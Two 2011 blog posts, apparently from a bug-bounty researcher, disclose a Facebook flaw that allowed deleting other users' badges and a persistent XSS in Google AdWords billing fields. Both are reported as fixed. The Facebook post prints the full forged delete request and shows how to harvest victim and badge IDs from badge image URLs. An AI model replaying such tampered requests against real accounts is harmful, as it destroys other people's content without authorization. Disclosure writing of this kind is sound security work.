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Friday, April 8, 2011

Facebook Vulnerability - Destroy Any advertisements/badges! (permission issue)

These days Facebook is one of the heaviest engine of advertising, many companies use Facebook to promote their products and even hire people to deal just with that.


I found an attack vector that can be used by any hacker to delete badges/ads from people's/companies's accounts which will cause a damage to every blog/other website
because a new bages will have a new "bid" so every website will drop the old badge.

This issue effects the Badges feature 
As for: 
Badges Home
Profile Badges
Like Badges
Photo Badges
Page Badges

Vulnerability Details:
A user uses the badges feature to share on blogger or any other place
an attacker see the bage in some website/blog:
<img src="http://badge.facebook.com/badge/1403380007.3098.1711802846.png" width="336" height="84" style="border: 0px;">
Analyzing the Picture's name:
The first number 1403380007 is the Victim's facebook owner ID
(it's easy to get this id using a simple search in facebook)
Now the middle number: 3098 is the bid(badge id) 

Now what the Attacker needs is to capture a deleting badge packet
and manipulate the "bid" and "owner_id"

POST /ajax/facebook-widgets/delete_badge.php?__a=1 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/badges/profile.php?status=new
Origin: http://www.facebook.com
X-SVN-Rev: 349667
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 ....
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mycookie
Content-Length: 137

bid=3098&owner_id=1403380007&post_form_id=073ca00487f1c8fb8903a6ff04ed57be&fb_dtsg=4xsur&lsd&post_form_id_source=AsyncRequest&confirmed=1

Then a successful badge delete will be performed on the victim's account


The Facebook Team Fixed this issue and thanked me by adding my name into the Facebook WhiteHats thank you list : Facebook Security WhiteHats

Best Regards,
Ben Hayak 

Saturday, April 2, 2011

Google Security Vulnerability Reward Program: Google Adwords Billing poisoning

Overview
Google Adwords Google's Online Advertising service, boost website traffic and sales, was vulnerable to a persistent XSS in the Billing information.

What Had to be done?
                            
The Billing information details was vulnerable to a persistent xss in 5 different fields.
The locations were:
Business name,
Contact name:
both Street Addresses, and City.
This attack was performed by editing the billing information with the right xss payload (no special bypass required).
This XSS is so persistent that it isn't possible even for the administrator to delete the poisoned billing information.


Screen shoot:

This issue has been fixed by Google security team.

I appreciate the opportunity to preserve my skills and gain some more experience
Thank you Google security team.